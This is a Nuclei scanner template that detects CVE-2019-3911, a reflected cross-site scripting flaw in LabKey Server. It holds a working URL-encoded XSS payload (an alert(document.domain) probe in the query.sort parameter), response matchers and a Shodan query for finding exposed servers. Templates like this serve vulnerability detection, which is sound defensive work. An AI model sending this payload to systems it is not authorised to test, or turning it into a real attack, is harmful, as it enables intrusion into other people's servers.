nuclei-templates/cves/2019/CVE-2019-3911.yaml

id: CVE-2019-3911

info:
  name: LabKey Server < 18.3.0 - XSS
  author: princechaddha
  severity: medium
  description: Reflected cross-site scripting (XSS) vulnerability in LabKey Server Community Edition before 18.3.0-61806.763 allows an unauthenticated remote attacker to inject arbitrary javascript via the onerror
    parameter in the /__r2/query endpoints.
  reference:
    - https://www.tenable.com/security/research/tra-2019-03
    - https://www.cvedetails.com/cve/CVE-2019-3911
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-3911
    cwe-id: CWE-79
  metadata:
    shodan-query: 'Server: Labkey'
  tags: cve,cve2019,xss,labkey

requests:
  - method: GET
    path:
      - '{{BaseURL}}/__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200